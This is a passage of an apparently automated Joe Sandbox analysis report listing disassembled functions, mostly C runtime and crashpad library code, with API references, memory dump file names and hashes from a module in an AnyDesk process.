std::_Lockit::~_Lockit.LIBCPMT ref: 69C274B8
_abort.LIBCMT ref: 69C274C6

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register_abort
String ID:
API String ID: 954195503-0
Opcode ID: ab6445e6cd6f571172689014814f00add7f5941d69e5285c5dc83a26c68974f5
Instruction ID: d8eb710033e2e66986bf49e9f55db171ad1939604352e430942685fd8af823c6
Opcode Fuzzy Hash: ab6445e6cd6f571172689014814f00add7f5941d69e5285c5dc83a26c68974f5
Instruction Fuzzy Hash: 0D31AE369012249FCB11DF58E98099DBBB4EF45324F5495A9D8099B211FB30BE02EFE2

Uniqueness

Uniqueness Score: -1.00%

Function 69C3E580 Relevance: 10.6, APIs: 7, Instructions: 87COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 69C3E58E
std::_Lockit::_Lockit.LIBCPMT ref: 69C3E5AA
std::_Lockit::~_Lockit.LIBCPMT ref: 69C3E5CA
std::_Lockit::~_Lockit.LIBCPMT ref: 69C3E611
std::_Facet_Register.LIBCPMT ref: 69C3E64D
std::_Lockit::~_Lockit.LIBCPMT ref: 69C3E658
_abort.LIBCMT ref: 69C3E666

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register_abort
String ID:
API String ID: 954195503-0
Opcode ID: 7800627c8903baa6e885248ff2c53119424326048821349a4074ae294c5d87a3
Instruction ID: 679c7ab89cddb71fb08b0e716e7f003569b4545f5afd3601a41d87b9b9a6562a
Opcode Fuzzy Hash: 7800627c8903baa6e885248ff2c53119424326048821349a4074ae294c5d87a3
Instruction Fuzzy Hash: 7B31D1369051389FCB11DF58F6809ADBBB4EF46328B91C5A9D80597211FB31AE02CFC2

Uniqueness

Uniqueness Score: -1.00%

Function 69C274E0 Relevance: 10.6, APIs: 7, Instructions: 87COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 69C274EE
std::_Lockit::_Lockit.LIBCPMT ref: 69C2750A
std::_Lockit::~_Lockit.LIBCPMT ref: 69C2752A
std::_Lockit::~_Lockit.LIBCPMT ref: 69C27571
std::_Facet_Register.LIBCPMT ref: 69C275AD
std::_Lockit::~_Lockit.LIBCPMT ref: 69C275B8
_abort.LIBCMT ref: 69C275C6

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register_abort
String ID:
API String ID: 954195503-0
Opcode ID: fa4819c9de607170d0315f9353097616a5e604aa3d1b31cc308fd850d747134c
Instruction ID: 47643043a42ad37ad81f5fd7dfc4acce2ab073cb1433feb4e35f195457fc17c8
Opcode Fuzzy Hash: fa4819c9de607170d0315f9353097616a5e604aa3d1b31cc308fd850d747134c
Instruction Fuzzy Hash: 3C31BD369052249FCB11DF58EAC099DF7B4EF45324B5085BAD8099B210FB30BA02EFD2

Uniqueness

Uniqueness Score: -1.00%

Function 69C5A2AB Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 69C59FF2: _free.LIBCMT ref: 69C5A01B

_free.LIBCMT ref: 69C5A2F9

Part of subcall function 69C4CBA5: HeapFree.KERNEL32(00000000,00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000), ref: 69C4CBBB
Part of subcall function 69C4CBA5: GetLastError.KERNEL32(00000000,?,69C5A020,00000000,00000000,00000000,00000000,?,69C5A2C4,00000000,00000007,00000000,?,69C58081,00000000,00000000), ref: 69C4CBCD

_free.LIBCMT ref: 69C5A304
_free.LIBCMT ref: 69C5A30F
_free.LIBCMT ref: 69C5A363
_free.LIBCMT ref: 69C5A36E
_free.LIBCMT ref: 69C5A379
_free.LIBCMT ref: 69C5A384

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9f76696241dda59e37702b6c7b8591e1945ed59e411e7bea7a02caf6cd15d4c2
Instruction ID: bbf3d7dfedac22545cea4b3f27f556526725cf84f13bd6be87c7b585d99802bc
Opcode Fuzzy Hash: 9f76696241dda59e37702b6c7b8591e1945ed59e411e7bea7a02caf6cd15d4c2
Instruction Fuzzy Hash: 09117FB5641F14AAEA21EBB0EC45FCBB79C6F00704F80DD54E69B660A0FB25B52AC750

Uniqueness

Uniqueness Score: -1.00%

Function 69C455A6 Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,69C4548D,69C40D47,69C4093D,?,69C40B4D,?,00000001,?,?,00000001,?,69C7B430,0000000C,69C40C56), ref: 69C455B4
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 69C455C2
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 69C455DB
SetLastError.KERNEL32(00000000,69C40B4D,?,00000001,?,?,00000001,?,69C7B430,0000000C,69C40C56,?,00000001,?), ref: 69C4562D

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 59cf13e51ff526468d27c08a2d8bbe3a424531f477bbb9798a3ad586413d8cc7
Instruction ID: a01de59609c476c16ee87e054c6375e5bd39c4d3a5ad9a271b5587fab8d15f33
Opcode Fuzzy Hash: 59cf13e51ff526468d27c08a2d8bbe3a424531f477bbb9798a3ad586413d8cc7
Instruction Fuzzy Hash: 1C01B17670D3E16EEB016AB57D86A9A3B65FB42F78F20122BF824D82D0FF514803D181

Uniqueness

Uniqueness Score: -1.00%

Function 69C3F0D2 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

Strings

AcquireSRWLockExclusive, xrefs: 69C3F101
ReleaseSRWLockExclusive, xrefs: 69C3F111
KERNEL32.DLL, xrefs: 69C3F0EC

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 0-1718035505
Opcode ID: ae8cf25966f4fe63fed5136ca39f4c12619991e52fbe5d9e13a8a25ca904f668
Instruction ID: 0c79312a618f57ae909908038f37833b69b63261c39f3af7d2ae323cd401a539
Opcode Fuzzy Hash: ae8cf25966f4fe63fed5136ca39f4c12619991e52fbe5d9e13a8a25ca904f668
Instruction Fuzzy Hash: 940128712462726FBF101D79BDC459737B86A873653D00D3AE962D7200FB12C006B2A1

Uniqueness

Uniqueness Score: -1.00%

Function 69C461B6 Relevance: 9.3, APIs: 6, Instructions: 264COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 69C46343
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 69C4635F
__allrem.LIBCMT ref: 69C46376
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 69C46394
__allrem.LIBCMT ref: 69C463AB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 69C463C9

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: eb28e984e25da9783835f8272df4ce7e389c0037cec3ff910c796465c90b5c8c
Instruction ID: 3c2233fe5ca28e1cd76dd2eb7fec6bdb5056ef203f6c13a95d8c46dbc47f5b6e
Opcode Fuzzy Hash: eb28e984e25da9783835f8272df4ce7e389c0037cec3ff910c796465c90b5c8c
Instruction Fuzzy Hash: F6812775B00F0AABE324CE68EE80B5A73F9EF45B68F10853AE511D7685FB70D9508B50

Uniqueness

Uniqueness Score: -1.00%

Function 69C54D05 Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,69C487AF,69C487AF,?,?,?,69C54F56,00000001,00000001,FCE85006), ref: 69C54D5F
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,69C54F56,00000001,00000001,FCE85006,?,?,?), ref: 69C54DE5
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,FCE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 69C54EDF
__freea.LIBCMT ref: 69C54EEC

Part of subcall function 69C4C844: HeapAlloc.KERNEL32(00000000,0000010C,00000004,?,69C4C8A7,?,00000000,?,69C57B70,0000010C,00000004,?,0000010C,?,?,69C4DB9D), ref: 69C4C876

__freea.LIBCMT ref: 69C54EF5
__freea.LIBCMT ref: 69C54F1A

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocHeap
String ID:
API String ID: 3147120248-0
Opcode ID: 08b3318afe663e37608f5d0f93c3b32ce5af2324993c2c16333d374e5497bd85
Instruction ID: 2438162d4ae11ebb29c57a5215392eea73c896e82142d8fb82f4188ac138e182
Opcode Fuzzy Hash: 08b3318afe663e37608f5d0f93c3b32ce5af2324993c2c16333d374e5497bd85
Instruction Fuzzy Hash: FC51D072700216AFEB15CF68EC40EABBBA9FB44B94F118629E916D7140FB74DC70C654

Uniqueness

Uniqueness Score: -1.00%

Function 69C3C070 Relevance: 9.2, APIs: 6, Instructions: 178COMMON

Download Yara Rule

APIs

Part of subcall function 69C3C2B0: Sleep.KERNEL32(00000000,?,?,?,69C3C09F,?,00000000,?), ref: 69C3C2F2

AcquireSRWLockExclusive.KERNEL32(00000000,?,00000000,?), ref: 69C3C0C4
ReleaseSRWLockExclusive.KERNEL32(00000000,?,00000000,000000FF,?,?), ref: 69C3C105

Part of subcall function 69C2F000: GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 69C2F02B

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentDirectoryReleaseSleep
String ID:
API String ID: 1427338700-0
Opcode ID: 8812605fd61d380b0429046cbc95bfef119cadb51f99bc702d6bfd073caa177a
Instruction ID: 48b6265802403f8008e1304614329f8640cad50957aacdb444e4f018d47f4375
Opcode Fuzzy Hash: 8812605fd61d380b0429046cbc95bfef119cadb51f99bc702d6bfd073caa177a
Instruction Fuzzy Hash: D251C9356482619BDF24DF65E841FFEB3A8BF85324F80461DE86E97180FB316405CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 69C34E80 Relevance: 9.1, APIs: 6, Instructions: 129COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(00000000,00000000,00000000,00000000), ref: 69C34EDB
ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 69C34F0A
AcquireSRWLockExclusive.KERNEL32(00000000,00000000,00000000,00000000), ref: 69C34F5A
ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 69C34F91
AcquireSRWLockExclusive.KERNEL32(00000000,00000000,00000000,00000000), ref: 69C34FCD
ReleaseSRWLockExclusive.KERNEL32(00000000), ref: 69C3500A

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID:
API String ID: 17069307-0
Opcode ID: 6782144d24456dc1596331de066411c1fca5c85defc375e8546d8aebfa77786f
Instruction ID: dc45d52f45e7b4aa3a93d6ddd949a9d58b39142831fd86a2b39053b47130a1d8
Opcode Fuzzy Hash: 6782144d24456dc1596331de066411c1fca5c85defc375e8546d8aebfa77786f
Instruction Fuzzy Hash: C241E336E026309BCB04DF68E5407ADBBB8BF8A354F954158D819E7380FF319E018B92

Uniqueness

Uniqueness Score: -1.00%

Function 69C4FBB0 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000008,69C21DE7,69C4EBE2,69C45DC7), ref: 69C4FBB4
_free.LIBCMT ref: 69C4FBE7
_free.LIBCMT ref: 69C4FC0F
SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC1C
SetLastError.KERNEL32(00000000,00000008,69C21DE7), ref: 69C4FC28
_abort.LIBCMT ref: 69C4FC2E

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: c6a85edba0e490b7328fb3e08c39b0b9d0b621e59c042ef8d8a8245e67565d53
Instruction ID: 072d32bf25709897d56f51e8c7020afca49a7665610db1b3cba11013ff009d8e
Opcode Fuzzy Hash: c6a85edba0e490b7328fb3e08c39b0b9d0b621e59c042ef8d8a8245e67565d53
Instruction Fuzzy Hash: 34F0C83A7946516FE61256297E09F5E2639EFD3F76F219014FC14E61C0FF218807A122

Uniqueness

Uniqueness Score: -1.00%

Function 69C2F520 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

vector<T> too long, xrefs: 69C2F764

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID:
String ID: vector<T> too long
API String ID: 0-3788999226
Opcode ID: e7ccd7ff7f553f97eba2bbe306dcf2f2ae098c85e84cebe0286907a4e02df015
Instruction ID: 7e9de5d3b3cfaaa1688ed80ea5eb331feb25d830c893c7e4d2dea64c2e3c7931
Opcode Fuzzy Hash: e7ccd7ff7f553f97eba2bbe306dcf2f2ae098c85e84cebe0286907a4e02df015
Instruction Fuzzy Hash: 545137366043055FE711CE68AD90F5BB7EAEF88B24F100639F96897290FB71D9048792

Uniqueness

Uniqueness Score: -1.00%

Function 69C220B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 164fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

new.LIBCMT ref: 69C2211F
CloseHandle.KERNEL32(?), ref: 69C221FD
new.LIBCMT ref: 69C22219
DeleteFileW.KERNEL32(?,00000000,-00000002), ref: 69C2227C

Strings

vmodule, xrefs: 69C220E8, 69C22126

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CloseDeleteFileHandle
String ID: vmodule
API String ID: 2633145722-2939338212
Opcode ID: 3f1d7535164b04e2ef3089d1c8060a07107c80bf4179094d1a4514836f63d347
Instruction ID: 3fc505c6eaa3cc565b15c5b216d492966092c947e2759110465ac79564feb90d
Opcode Fuzzy Hash: 3f1d7535164b04e2ef3089d1c8060a07107c80bf4179094d1a4514836f63d347
Instruction Fuzzy Hash: 9151EDB46183409FDB08CF24E494B5BBBF5FB86318F00891DE9558B291EB76D846CB92

Uniqueness

Uniqueness Score: -1.00%

Function 69C64485 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 126COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(69C6FB90,00000000,00000000,00000004), ref: 69C644B0
GetLastError.KERNEL32 ref: 69C644CE

Strings

c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc, xrefs: 69C644DB, 69C64561
GetFileAttributes , xrefs: 69C64507, 69C64592
: not a directory, xrefs: 69C64571

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID: : not a directory$GetFileAttributes $c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc
API String ID: 1799206407-2199784763
Opcode ID: 6c8029aba4113d9cb1c7f765243b1eda2d496bc5529a556dff00ac526bc12a33
Instruction ID: b7f88992cb00b084392e3fd370e47b60c53ef619d8fa9f6a516ec55b963380fd
Opcode Fuzzy Hash: 6c8029aba4113d9cb1c7f765243b1eda2d496bc5529a556dff00ac526bc12a33
Instruction Fuzzy Hash: A23166369503086AEB04DBB4FCA6FBE73ACEF01338F10521AF5156B0D1FF2169858664

Uniqueness

Uniqueness Score: -1.00%

Function 69C45300 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 69C4532B
__IsNonwritableInCurrentImage.LIBCMT ref: 69C453A5

Part of subcall function 69C5E550: __FindPESection.LIBCMT ref: 69C5E5A9

_ValidateLocalCookies.LIBCMT ref: 69C45419
_ValidateLocalCookies.LIBCMT ref: 69C45444

Strings

csm, xrefs: 69C4538F

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentFindImageNonwritableSection
String ID: csm
API String ID: 1685366865-1018135373
Opcode ID: d8ea3226ebb7be6f08f00e2cbf387c2e3fa3d42bb4a85f173eaab9ddb0a0324b
Instruction ID: d65108412929b0159a8029c6546a1f42ba7e90665fc213bc1a036ed3332e934b
Opcode Fuzzy Hash: d8ea3226ebb7be6f08f00e2cbf387c2e3fa3d42bb4a85f173eaab9ddb0a0324b
Instruction Fuzzy Hash: 8F41C334B00258ABCF00CF59E880A9EBBB5BF45728F50D196E815DB291E771DA02CFE1

Uniqueness

Uniqueness Score: -1.00%

Function 69C6421A Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(69C6FB90,00000000,?,00000000,00000004), ref: 69C64247
GetLastError.KERNEL32(?,00000000,00000004), ref: 69C64258
GetLastError.KERNEL32(?,00000000,00000004), ref: 69C64278

Strings

c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc, xrefs: 69C64285
CreateDirectory , xrefs: 69C642B1

Memory Dump Source

Source File: 00000013.00000002.3486262426.0000000069C21000.00000020.00000001.01000000.00000010.sdmp, Offset: 69C20000, based on PE: true

Associated: 00000013.00000002.3486235137.0000000069C20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486811452.0000000069C6A000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486843712.0000000069C7D000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486872490.0000000069C81000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.3486900745.0000000069C83000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_69c20000_AnyDesk.jbxd

Similarity

API ID: ErrorLast$CreateDirectory
String ID: CreateDirectory $c:\b\build\slave\win\build\src\third_party\crashpad\crashpad\client\crash_report_database_win.cc
API String ID: 1306683694-1373056967
Opcode ID: 4ae309d829cf4c6ae26a00ba0fc1e19fd63aa16dc642d95a2784cb1b35702fdc
Instruction ID: e8d450a2c953a65a3d93ce749aff9a5c525bc501a92872d037b34bdf4f73090a
Opcode Fuzzy Hash: 4ae309d829cf4c6ae26a00ba0fc1e19fd63aa16dc642d95a2784cb1b35702fdc
Instruction Fuzzy Hash: 23210435640308AADB04DFA4FCA6FBE73ACEF41324F60911AF415AB0D2FB31A9458675

Uniqueness

Uniqueness Score: -1.00%

Function 69C49EEF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

